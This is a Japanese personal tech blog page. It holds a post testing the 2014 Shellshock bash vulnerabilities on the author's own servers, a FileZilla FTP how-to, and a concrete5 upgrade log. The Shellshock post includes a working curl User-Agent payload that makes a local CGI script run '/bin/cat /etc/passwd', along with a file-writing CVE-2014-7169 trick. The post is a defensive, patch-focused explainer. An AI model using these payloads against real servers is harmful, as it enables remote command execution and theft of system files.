スポンサーサイト

上記の広告は1ヶ月以上更新のないブログに表示されています。
新しい記事を書く事で広告が消せます。
総合案内当ブログについて
Windowsの目次Linuxの目次Linuxの目次2・ ・自作PC関連の目次Web技術関連の目次
全記事一覧情報サイト新着RSS一覧

Sponsored Link

bashの脆弱性(CVE-2014-6271)がやばいとか何とか 言われてるので色々やってみた

ちょっと乗り遅れましたけど。
bashにかなりやばい脆弱性が見つかったとかで大騒ぎになってますね。
「bash」シェルに重大な脆弱性、主要Linuxでパッチが公開
bashシェルの修正パッチは不完全、脆弱性突く攻撃の報告も
Resolution for Bash Code Injection Vulnerability via Specially Crafted Environment Variables (CVE-2014-6271) in Red Hat Enterprise Linux
これ書いてる現在、CentOSにはupdate来てるけど、LMDEの方は来てませんね。まぁ、うちのLMDEは別に公開したりしてるわけじゃないからいいですけども。

1.確認方法
bashの脆弱性がヤバすぎる件
bashの脆弱性(CVE-2014-6271) #ShellShock の関連リンクをまとめてみた
あるコマンドの実行結果でやばいかどうかがわかるとのこと。
やってみましょう。

・おうちCentOSサーバー
以下のコマンドを実行して「manuke」が表示された場合、CVE-2014-6271の影響を受ける可能性がある。

$ AHO='() { baka; }; echo manuke' bash -c 'echo Hi'
manuke
Hi


やっべ。

$ sudo yum update
(中略)
Updating:
bash x86_64 4.1.2-15.el6_5.1 updates 905 k
device-mapper-multipath x86_64 0.4.9-72.el6_5.4 updates 117 k
device-mapper-multipath-libs x86_64 0.4.9-72.el6_5.4 updates 181 k
kpartx x86_64 0.4.9-72.el6_5.4 updates 59 k
zsh x86_64 4.3.10-8.el6_5 updates 2.1 M


来てますね。
インストールして・・・

$ AHO='() { baka; }; echo manuke' bash -c 'echo Hi'
bash: warning: AHO: ignoring function definition attempt
bash: error importing function definition for `AHO'
Hi


再起動しないでも直ったようです。

・さくらVPSのCentOSサーバー
以下のコマンドを実行して「vulnerable」が表示された場合、CVE-2014-6271の影響を受ける可能性がある。

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test


まずいですね。ヒジョーにまずいですね。
同じく

$ sudo yum update


まぁ、同じCentOSですし。

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test


おっけー。
Resolution for Bash Code Injection Vulnerability via Specially Crafted Environment Variables (CVE-2014-6271) in Red Hat Enterprise Linuxでは

Why does this say to run ldconfig? The bash rpm doesn't even include any libs...


とか言われてるんですがやったほうがいいんですかね?よくわかりません。
特別に作成された環境変数を使用した Bash コード挿入の脆弱性 (CVE-2014-6271)

システムやサービスの再起動は不要です。本脆弱性は、bashの起動の初期段階においてプロセスの環境をカーネルから読み込む処理中に存在しています。これはbashが「起動する」際にのみ発生します。アップデート版のbashをインストールした後、新規のプロセスは新規のコードで起動してきますので、影響を受けません。既に動作中のbashは、旧コードのままで再度起動してくることはありませんので、同脆弱性は出現しません。


ということなので、まぁこれで大丈夫なんでしょう。たぶん。

2.なにがやばいのか
bashシェルの修正パッチは不完全、脆弱性突く攻撃の報告も

Red Hatなどは現在、CVE-2014-7169の脆弱性を修正するパッチの開発を急いでいる。しかし、これを待たずにまずCVE-2014-6271の脆弱性を解決するパッチを適用するよう勧告した。後から見つかったCVE-2014-7169の脆弱性の方が危険度は低いという。


見つかった脆弱性は2つ。今回のUpdateで直ってるのはより危険度の高いCVE-2014-6271で、CVE-2014-7169のパッチはまだ開発中らしい。
BASHの脆弱性でCGIスクリプトにアレさせてみました
面白そうなのでやってみましょうか。ちょうどLMDEではまだ修正パッチが来てないことですし。

$ sudo touch /usr/share/nginx/html/hoge.cgi
$ sudo nano /usr/share/nginx/html/hoge.cgi


#!/bin/sh
echo "Content-type: text/plain"
echo
echo "Hi! I'm an ordinary CGI script which is executed by /bin/sh"


$ sudo chown www-data:www-data /usr/share/nginx/html/hoge.cgi
$ sudo chmod 755 /usr/share/nginx/html/hoge.cgi
Chromium.png あれ?表示されずにDLされちゃいましたね。

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/hoge.cgi
#!/bin/sh
echo "Content-type: text/plain"
echo
echo "Hi! I'm an ordinary CGI script which is executed by /bin/sh"


ふつーじゃん。

いやいやちょっと待て。Nginxでcgiを表示するように設定してない。
というわけで、
・Nginxで.cgiを実行するように設定。(なんか本旨から外れてきたような気がしてきましたが
nginxでperl/CGIを利用する方法 on debian6Add Star
fcgiwrap spawn-fcgiをインストールしてちょこちょこ設定いじればいけそう。

$ sudo apt-get install fcgiwrap spawn-fcgi


Nginxの設定ファイルはこんな感じ。

Nginx再起動してhttp://localhost.hoge.cgiにアクセス。
hogecgi 表示されましたね。

・では本題

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/hoge.cgi
Hi! I'm an ordinary CGI script which is executed by /bin/bash


あるぇー?これって大丈夫じゃないですかね?

と思ったけどそうではない。
Debianのデフォルトシェルは sh(lenny) dash(Squeeze) (ちなみにCentOS、RHEL、Fedora、MacOSXがデフォルトでbash)
つまり今回の脆弱性の影響を確認するにはhoge.cgiの内容はbin/bashを指定しないとshだかdashで実行されてしまいます。よってDebian系で正しく再現するにはこうなります。

#!/bin/bash
echo "Content-type: text/plain"
echo
echo "Hi! I'm an ordinary CGI script which is executed by /bin/bash"


localhosthogecgi.png ブラウザからはふつー。
$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/hoge.cgi
tmin-note.png ぎゃー 
/bin/cat /etc/passwdの実行結果が表示されてますね。つまりここを入れ替えてもっと悪いコードを実行される可能性がありありだということです。やばい。

・具体的になにが起こってるのか?
Bash 脆弱性 -ShellShock- (5) CVE-2014-6271 で fix されていない CVE-2014-7169 の脆弱性って何か確認してみました
上の記事が非常にわかりやすいです。

本来はshにしてた時の実行結果

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/hoge.cgi
Hi! I'm an ordinary CGI script which is executed by /bin/bash


これが正しい(危険でない)実行結果ですね。hoge.cgiの中身を実行しただけの結果が得られています。
しかし、bashの脆弱性をついた時は「/bin/cat /etc/passwd」が実行されて端末出力されています。今回試したのはcatですが、どうもいくつか試してみると/bin以下のコマンドは普通に実行可能なようです。
ちなみにsbin以下もいくつか試してみたんですが、それはとりあえずなにも実行されない模様。(権限次第でどうなるかはわかりませんが)

BASHの脆弱性でCGIスクリプトにアレさせてみました

CGI本体をシェルスクリプトで書いていなくても、シェルを使って外部コマンドを呼び出しているだけでこの脆弱性の影響を受けるケースを確認しました。


ということなので、危険箇所は相当な範囲に及ぶかと思います。

3.対策はどーすれば?
・パッチ出てるデストリはとりあえずなにはなくともupdate。
・bashを使わないでshとかにする(すでに大量のCGIファイルやbash呼び出す処理があるファイルを全部探して治すのは非現実的かもしれない)
特別に作成された環境変数を使用した Bash コード挿入の脆弱性 (CVE-2014-6271)の下の方の対策打てるだけ打つ。
回避策: mod_security の使用・ IPTables の使用で問題は緩和できるみたい。

しかし、すでに大きめのサイトいくつか使ってるとかだとキツイかもね。
まぁ、RedHat系はすでにこの問題に関してはセキュリティパッチを提供してるし、bashのupdateだけすれば再起動は不要みたいなのでとりあえずyum update しときましょー。

4.残る脆弱性CVE-2014-7169とは
Bash 脆弱性 -ShellShock- (5) CVE-2014-6271 で fix されていない CVE-2014-7169 の脆弱性って何か確認してみました

やってみましょうか。まずはLMDE。

$ mkdir hoge
$ cd hoge
$ env -i X='() { (a)=>\' bash -c 'echo date'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
$ ls
echo
$ cat echo
Fri Sep 26 15:25:45 JST 2014


あらら。

「date」という文字列を「echo」(表示)するだけでなのですが、実際には「echo」というファイル名が生成され、その中に「date」コマンドを実行した結果がリダイレクト「>」(ファイル生成して保存)されています。


えぇ。echoというファイルが生成されて中身がdate出力したものになってます。
このあとbashがupdateされたCentOSサーバーでやっても同じでしたね。

ということは?本来dateという文字列を表示するだけ、というところdateコマンドが実行され、それがechoというファイルになる。想定してない動きとしては、「echoというファイルが作られる」「dateコマンドが実行される(その内容がファイルに保存される)」という二点ですかね。
ちょっと工夫してみましょう。

$ env -i X='() { (a)=>\' bash -c 'echo dmesg'
$ cat echo


hogedmesg.png ぎゃー
しかし、想定外の動きをするとはいえCVE-2014-6271の危なさは、「リモートで任意のコマンドを実行できる」ことが大きかったと思います。CVE-2014-6271の場合、

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/hoge.cgi


悪いことのためには、標的のURL(CGI)に向けて/bin/cat /etc/passwdの内容を変えてコード実行することにより、標的サーバーの操作、情報抜き出しなどに使える可能性があります。
対してCVE-2014-7169の場合はちょっとこれをリモートから使う方法ってのは浮かびません。(しかしもっと頭の良い悪い人がうまくやる可能性はありますが)
CVE-2014-6271→CVE-2014-7169のコンボができたならば、CVE-2014-6271で特定のコマンドを実行し、さらにCVE-2014-7169で任意の内容のファイルやスクリプトをサーバー上に作ることができるかもしれません。

今年はDNSキャッシュやらOpenSSLやら大変なことになってるなぁというところにこれ。ここ半年ほどでメンテがおろそかになっているサーバーを持っている方は色々見直しましょう。次々と致命的なのが出てきてますので。

あまりにも深刻そうなので参考になりそうなリンク片っ端からまとめておきます。影響ありそうな方は対処急いだほうがいいよー
bashにコードインジェクションの脆弱性「Shellshock」、管理者に大きなショック
BASHの脆弱性でCGIスクリプトにアレさせてみました
bashの脆弱性(CVE-2014-6271) #ShellShock の関連リンクをまとめてみた
BASHの脆弱性でCGIモードで動いてるPHPにアレさせてみました
Bash 脆弱性 – ShellShock- (1) CVE-2014-6271 / CVE-2014-7169 絶賛対応中です
Bash 脆弱性 – ShellShock- (2) CVE-2014-6271 / CVE-2014-7169 は何が危険で問題なのかを検証してみました
Bash 脆弱性 -ShellShock- (5) CVE-2014-6271 で fix されていない CVE-2014-7169 の脆弱性って何か確認してみました
Bug 1141597 - (CVE-2014-6271) CVE-2014-6271 bash: specially-crafted environment variables can be used to inject shell commands
CVE-2014-7169: Bash Fix Incomplete, Still Exploitable
総合案内当ブログについて
Windowsの目次Linuxの目次Linuxの目次2・ ・自作PC関連の目次Web技術関連の目次
全記事一覧情報サイト新着RSS一覧

Sponsored Link

FileZillaでFTPアップロード

Linuxでも簡単にFTPアップロードとかできないものか、と探してみたらFileZillaというソフトが思いの外良かった。
目的はFC2HPへのファイルアップロード。WindowsからはFFFTP使ってたんだけど、Linux上(LMDE)からアップロードするのに。

1.ftpコマンドによるアップロード
そりゃーそうですよね。えぇ。
Linuxはネットワーク系けっこう強いので(ツール的に)、標準で入ってる?
FTPでファイルを転送する
FTPサーバーに接続し,ファイル転送を行う
で、やってみました。
$ ftp で接続先打てばいいようです。簡単そうですね。

$ ftp bootstrappre.web.fc2.com
Connected to bootstrappre.web.fc2.com.
220 web.fc2.com FTP Server
Name (bootstrappre.web.fc2.com:tmin): tmin
421 Login timeout (5 seconds): closing control connection
Login failed.
No control connection for command: No such file or directory
ftp> ls
Not connected.


ダメですね。えぇ。ユーザー名間違えてました。

$ ftp bootstrappre.web.fc2.com
Connected to bootstrappre.web.fc2.com.
220 web.fc2.com FTP Server
Name (bootstrappre.web.fc2.com:tmin): bootstrappre
421 Login timeout (5 seconds): closing control connection
Login failed.
No control connection for command: No such file or directory
ftp> exit


ダメですね。そもそもパスワードとか聞かれないのがかなり不自然です。
このあと何度か色々試してみたけど接続できるとこまでいけませんでした。
諦め。

2.FileZillaに行き当たる。
SynapticでFTPで検索してたらわかりやすそうなのが。
「機能豊富なグラフィカルFTP/FTPS/SFTPクライアント」求めてたのに近いっぽい。
というわけでインストール。
Menu>すべてのアプリケーション>インターネット>FileZilla
Screenshot from 2014-09-23 15:23:50 FFFTPと似た感じで直感的に操作できそうです。

3.FileZillaで接続、Upload。
上の方の「クイック接続」のバーに必要事項を入力します。
ホスト名、ユーザー名、パスワード、ポートは21だけど、あとでやったらポート打たなくても接続してくれました。
FC2側の設定は「FTP接続ロックしない」にしてなきゃマズイですね。
詳しくはここ見れば大抵のことは分かるかと思います。>FTPツールでアップロードをする
必要項目を入力したらクイック接続。

状態: bootstrappre.web.fc2.com のアドレスを解決中
状態: 208.71.106.55:21 に接続中...
状態: 接続を確立しました, ウェルカム メッセージを待っています...
レスポンス: 220 web.fc2.com FTP Server
コマンド: USER bootstrappre
レスポンス: 331 Password required for bootstrappre
コマンド: PASS **********
レスポンス: 230 User bootstrappre logged in
(以下略


簡単につながりました。
さて、アップロードですが、「ローカルサイト」の方でローカル環境にあるUploadしたいディレクトリ、ファイルを右クリックで選択してアップロードと、ヒジョーに明快かつ簡単な感じです。右側の「リモートサイト」には接続先のディレクトリやファイルの情報が出ています。

上の方のレスポンス状況、下の方のキューファイルなんかを見ていれば、何をどうしているのか、エラーが出た時のメッセージなんかも追っかけられそうです。レイアウト、操作性、機能と、WindowsでFFFTPを使ってた人にはすごくわかりやすくていいと思います。
あぁ、結果ですが、もちろんUpload成功です。
http://bootstrappre.web.fc2.com/
テンプレートアップしただけですけどね。

関連記事
vsftpdでFTPサーバー
ド素人だけどBootStrapでサイトを作ってみるよ
総合案内当ブログについて
Windowsの目次Linuxの目次Linuxの目次2・ ・自作PC関連の目次Web技術関連の目次
全記事一覧情報サイト新着RSS一覧

Sponsored Link

concrete5.7.0→concrete5.7.0.1 upgrade(CentOS6.5+LEMP)

ついこの前に出たばっかだというのにもう5.7.0.1が出ちゃいましたね。

CentOSサーバーで動かしていた方のconcrete5.7.0を5.7.0.1にupgradeしてみました。

参考
concrete5.7からconcrete5.7.0.1へのアップグレード
アップグレード
Upgrade procedure from 5.7 to 5.7.0.1? (英語)

 管理画面のBackup&Restoreから一発で行けるかと思ってたけど、自動更新は今のところ効かないみたい?ってことが本家フォーラムで言われてるようですね。僕もそれで行けるかと思ってたので、「concrete5をアップグレード」のページで更新チェックしても出てこないでおっかしーなーと思ってたんですが、どうも手動でupgradeする必要があるようです。
 僕のところはCentOSサーバー(おうちサーバーLEMP)とLMDE(ローカルLEMP)にconcrete5.7入れて遊んで見てるんですが、前記事のようにLMDEの方は日本語表示とか文字化け列への対処を色々やってて、結果5.7.0も5.7.0.1もインストールしては消し、って感じだったので、放置していたCentOSサーバーのほうでupgradeを検証してみましょう。

1.本家からconcrete5.7.0.1をDL、展開
Download Version 5.7
上記リンク先から最新版(今回は5.7.0.1)をDLして展開。せっかくサーバー機なのでwgetでDLしてunzipで展開します。
wgetで取ってくるとファイル名はindex.htmlになりますが、フツーにzipファイルです。

$ wget http://www.concrete5.org/download_file/-/view/70916/
$ unzip index.html.2



2.展開したフォルダを/updatesにcp
今回の場合はconcrete5.7.0.1というディレクトリが展開されてますので、これをそのまま今稼働中の5.7.0のupdatesディレクトリにcp。今回はCentOSサーバーで、/var/www/concrete57 で稼働してます。

$ sudo cp -r concrete5.7.0.1 /var/www/concrete57/updates/


権限変更とか必要かなと思いつつも、そのままやってみたらいけてしまいました。
あぁ、FTPとか使ってる方はもちろん手元に最新版DLして展開、updatesディレクトリにUploadでも行けると思います。

3.管理画面からconcrete5をアップグレード
管理画面にログインしてBackup&Restore>concrete5をアップグレード
Screenshot from 2014-09-18 09:42:37 出てきましたね。
「更新」をクリックしてUpgrade。
「DBのバックアップを取って」って言われてたんですが、バックアップは「予期せぬエラー」とか出ちゃいました。まぁうちの環境ではほとんどいじってないので失敗したらした時と思ってたんですが、よくよく考えたらちょっと検証したほうがよかった。。。

Screenshot from 2014-09-18 09:42:44 Upgrade自体は数秒程度で完了。
5.7.0.1になっていれば成功です。
「concrete5をアップグレード」画面か「環境情報」画面で現在のVer.を確認できますね。
手動Upgradeとはいえこの程度の手間ならば非常に簡単ですね。

ちなみにこのあともう一回「新規DBをバックアップ」してみたんですが、エラーは出ないけど操作後も「利用可能なバックアップはありません」って出るんですね。これが正しい挙動なのかどうかちょっとわかりませんけど。

環境情報はこんな感じ

# concrete5 Version
5.7.0.1

# concrete5 Packages
None

# concrete5 Overrides
languages/it_IT, languages/ru_RU, languages/sl_SI, languages/fi_FI, languages/tr_TR, languages/el_GR, languages/da_DK, languages/sv_SE, languages/ja_JP, languages/fr_FR

# concrete5 Cache Settings
Block Cache - On
Overrides Cache - On
Full Page Caching - Off
Full Page Cache Lifetime - Every 6 hours (default setting).

# Server Software
nginx/1.6.1

# Server API
fpm-fcgi

# PHP Version
5.3.3

# PHP Extensions
bz2, calendar, cgi-fcgi, Core, ctype, curl, date, dom, ereg, exif, fileinfo, filter, ftp, gd, gettext, gmp, hash, iconv, json, libxml, mbstring, mcrypt, mysql, mysqli, openssl, pcre, PDO, pdo_mysql, pdo_sqlite, Phar, Reflection, session, shmop, SimpleXML, sockets, SPL, sqlite3, standard, tokenizer, wddx, xml, xmlreader, xmlwriter, xsl, zip, zlib.

# PHP Settings
max_execution_time - 30
log_errors_max_len - 1024
max_file_uploads - 20
max_input_nesting_level - 64
max_input_time - 60
max_input_vars - 1000
memory_limit - 128M
post_max_size - 8M
safe_mode - Off
safe_mode_exec_dir - no value
safe_mode_gid - Off
safe_mode_include_dir - no value
sql.safe_mode - Off
upload_max_filesize - 2M
mysql.max_links - Unlimited
mysql.max_persistent - Unlimited
mysqli.max_links - Unlimited
mysqli.max_persistent - Unlimited
pcre.backtrack_limit - 100000
pcre.recursion_limit - 100000
session.cache_limiter - no value
session.gc_maxlifetime - 1440
safe_mode_allowed_env_vars - PHP_
safe_mode_protected_env_vars - LD_LIBRARY_PATH



 それにしても開発早いですねー。この前concrete5公式活用ブック買ってきたのでまぁ、ぼちぼち勉強しながらいじっていこうかと思ってます。


関連記事
CentOS 6.5でnginx+php-fpmでPHPを動かしてみる
CentOS6.5 x Nginx x php-fpm x MySQLでConcrete5.6
Concrete5.7インストールのための環境つくり(未完
CentOS6.5+Nginx+php-fpm+MySQLでConcrete5.7
Concrete5.7.0が正式にリリースされたので早速CentOSサーバーに入れて動かしてみたよ
concrete5.7をCentOS ServerのLEMP環境でコア共有して複数サイト動かしてみる
CentOS+LEMPでbaserCMS
総合案内当ブログについて
Windowsの目次Linuxの目次Linuxの目次2・ ・自作PC関連の目次Web技術関連の目次
全記事一覧情報サイト新着RSS一覧

Sponsored Link

ブログ内検索

カスタム検索

フリーエリア

クリックで救える命がある。

レンタルサーバー

さくらのマネージドサーバ
さくらインターネットのVPS
ConoHaのVPS
WebARENA VPSクラウド
99円レンタルサーバー
【CloudCore VPS】
GMOクラウドのレンタルサーバー
転送量無制限 ABLENET
@WAPPYレンタルサーバー
SPPDレンタルサーバー

カテゴリー+月別アーカイブ

 

アクセスカウンター

現在の閲覧者数:

プロフィール

Author:tmin
PCヲタ。ライト2ちゃんねら。
スロット好きのギャンブラー。(元
むしろ人生がギャンブルだが目下のところ負けっぱなし。
座右の銘は「結果オーライ」。故に基本適当。
トラブルもまた楽しみのひとつ

コメント、トラバ、相互リンク歓迎。お気軽にどうぞ。
当ブログについて
Twitterでこっちとあっちの更新情報流すことにしてみます。
http://twitter.com/t_min
Project Mikunchu♪Wikiできました。
Mikunchu200x40.png


上記広告は1ヶ月以上更新のないブログに表示されています。新しい記事を書くことで広告を消せます。